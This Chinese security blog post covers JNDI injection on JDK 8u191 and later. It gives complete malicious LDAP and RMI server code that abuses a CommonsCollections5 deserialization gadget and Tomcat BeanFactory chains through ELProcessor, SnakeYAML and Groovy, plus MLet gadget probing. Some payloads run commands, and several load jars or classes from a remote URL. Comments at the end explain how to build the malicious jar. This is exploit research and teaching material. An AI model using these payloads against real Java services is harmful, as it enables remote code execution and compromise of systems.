之前jndi那篇的高版本jdk利用写的不那么好,这次写一个比较好并且比较全的
JDK >= 8u191
关于JDK >= 8u191
的利用目前公开有两种绕过的方法,这里测试的JDK版本为JDK 8u202
参考:
如何绕过高版本 JDK 的限制进行 JNDI 注入利用 (seebug.org)
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)
两种绕过方法如下:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
反序列化 通过LDAP的 javaSerializedData
反序列化gadget
前提:jdk版本高,并且有可用的gadget
思路:起一个恶意jndi服务端,把gadget写好后反序列化出来的字节放到OperationInterceptor中,然后启动rmi服务,并放在config.addInMemoryOperationInterceptor中
这里使用的Gadget
是CommonsCollections5
package demo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc");
}
}
调用栈如下:
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
跟进com.sun.jndi.ldap.Obj#decodeObject
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
此处(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null
判断JAVA_ATTRIBUTES[1]
是否为空,如果不为空则进入deserializeObject
进行反序列操作
其中JAVA_ATTRIBUTES
在com.sun.jndi.ldap.Obj
中定义为
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
JAVA_ATTRIBUTES[1]
为javaSerializedData
,所以我们可以LDAP修改javaSerializedData
为我们的恶意序列化数据,然后客户端进行反序列化进而到达RCE。
跟进com.sun.jndi.ldap.Obj#deserializeObject
,可以看到var5 = ((ObjectInputStream)var20).readObject();
此处对var20
(也就是从javaSerializedData
中读取的序列化数据)进行了反序列化
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
服务端代码可以参考marshalsec
,然后添加对应属性javaSerializedData
为我们的Gadgets序列化的数据即可
e.addAttribute("javaSerializedData", GadgetsData);
利用本地Class作为Reference Factory
el表达式 javax.el.ELProcessor#eval
利用本地Class作为Reference Factory
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
条件:
-
jdk高版本
-
Factory Class必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
-
有el依赖(比如说tomcat8就可以,tomcat7就不行)
比如说:
org.apache.naming.factory.BeanFactory
,并且该类存在于Tomcat依赖包中,所以利用范围还是比较广泛的。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
你可能会遇到这种报错 org.apache.el:com.springsource.org.apache.el:jar:7.0.26 was not found in http://maven.aliyun.com/nexus/content/repositories/central/ during a previous attempt.
仓库在这
org.apache.el 这个包好像得去https://repo.spring.io/ui/login/ 这个网站注册个号才能下,大伙有什么头猪吗?没有的话我整了个骚操,http://www.java2s.com/Code/Jar/c/com.springsource.org.apache.htm这个网站免费提供各类jar包(版本略旧凑合一下),里面仔细找有org.apache.el 6.0.20的,加入library后可以被攻击
服务端代码参考自这篇文章
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
}
}
简单分析
如下是调用栈
getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (demo)
这里体现出EL和Groovy(后面要介绍的另一种姿势)之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference
对象后根据classFactory
属性从本地classpath中实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance
方法。
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
看完上面的代码,我们想象一下elprocessor的思路:我们需要注意的是javax.naming.spi.NamingManager#getObjectInstance
此处的调用,可以看到该方法中通过getObjectFactoryFromReference
获取一个实例化的对象之后,还会调用factory.getObjectInstance
,也就是说如果我们能从其它类中找到其它可以利用的getObjectInstance
方法,那么我们就可以进行进一步的利用。然后到了我们上面所说的可利用的类:org.apache.naming.factory.BeanFactory
,该类存在getObjectInstance
方法,如下
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
NamingException ne;
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;
for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}
Enumeration e = ref.getAll();
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
//省略部分代码
}
}
}
}
}
//省略部分代码
} else {
return null;
}
}
然后就是调用的参数,以=
号分割,=
右边为调用的方法,这里为javax.el.ELProcessor.eval
;=
左边则是会通过作为hashmap
的key
,后续会通过key去获取javax.el.ELProcessor.eval
。
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
其中eval的参数获取如下,可以看到它是通过嵌套多次do while
去枚举e中的元素,最后while(propName.equals("singleton"))
此处propName
为x
,则退出循环,然后通过value = (String)ra.getContent();
获取eval
的参数,之后就是将ra的addrType(propName)
的值作为key去获取之前存入的javax.el.ELProcessor.eval
:Method method = (Method)forced.get(propName);
Enumeration e = ref.getAll();
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
}
参数如下:
最后
其实就是等价于
new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")
snakeYaml
要有snakeyaml的依赖,且tomcat版本9.0.68以下(不包括9.0.68)
pom.xml
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
浅蓝:在我以往所看过的源码中依赖库使用SnakeYaml比Groovy更常见,
new org.yaml.snakeyaml.Yaml().load(String)
也刚好符合条件,所以还是很有价值的。
package yamltest;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import mlettest.MLetTest;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class yamlTest {
private static ResourceRef execBySnakeYaml() throws NamingException, RemoteException {
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
//String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\\"<http://82.156.2.166:8888/exp.jar\\"]]]]">;
String yaml="!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
//return new ReferenceWrapper((Reference) ref);
}
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1095");
Registry registry = LocateRegistry.createRegistry(1095);
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( yamlTest.execBySnakeYaml());
registry.bind("execBySnakeYaml", referenceWrapper);
}
}
groovy.lang.GroovyShell#evaluate
这个和上面思路一样
攻击代码参考JNDI-Injection-Bypass-master
package groovylanggroobyshell;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class GroovyShellTest {
// }
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "calc");
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("ExecByGroovy", referenceWrapper);
}
}
漏洞调试和上面一样
本质就是换一个类进行反射调用
浅蓝大佬:我在找合适的利用类时是按照这个条件找的。探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)
- JDK或者常用库的类
- 有public修饰的无参构造方法
- public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
javax.management.loading.MLet
利用条件:
jdk自带,几乎无条件
作用:
这次不是用于rce,
而是用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。反之如果第一次类加载失败就会抛出异常结束后面的流程,也就不会访问远程类。
poc
package mlettest;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class MLetTest {
private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2022/"));
ref.add(new StringRefAddr("c", "Thai"));
return ref;
}
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1098");
Registry registry = LocateRegistry.createRegistry(1098);
// org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// ref.add(new StringRefAddr("forceString", "x=evaluate"));
// String script = String.format("'%s'.execute()", "calc");
// ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
registry.bind("MletFind", referenceWrapper);
}
}
同时开启2022端口,假如classPath有某某gadget就会有访问记录
groovy.lang.GroovyClassLoader
与groovy.lang.GroovyShell是一个包,所以利用条件一样,但是操作繁琐些,这两个互为替代品可以用于黑名单绕过
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:2022/"));
ref.add(new StringRefAddr("b", "thaii"));
return ref;
}
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1098");
Registry registry = LocateRegistry.createRegistry(1098);
// org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// ref.add(new StringRefAddr("forceString", "x=evaluate"));
// String script = String.format("'%s'.execute()", "calc");
// ref.add(new StringRefAddr("x",script));
//MLet
//ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
//GroovyClassLoader
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatGroovyClassLoader());
registry.bind("tomcatGroovyClassLoader", referenceWrapper);
}
thaii.groovy
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}
师傅恶意的jar包是怎么制作的啊
你看我这篇的simpleJson这道题:https://www.viewofthai.link/2023/01/11/%e7%be%8a%e5%9f%8e%e6%9d%af2022-wp/
里面有提到“由此先创建一个Exp恶意类,用于RCE,还有META-INF/services/javax.script.ScriptEngineFactory 文件,内容为Exp ,然后编译Exp类,生成jar包,开启http.server服务”
我当时参考的是这个:https://www.yuque.com/jinjinshigekeaigui/qskpi5/rgwdc7#Zo6vK
看完你应该懂了吧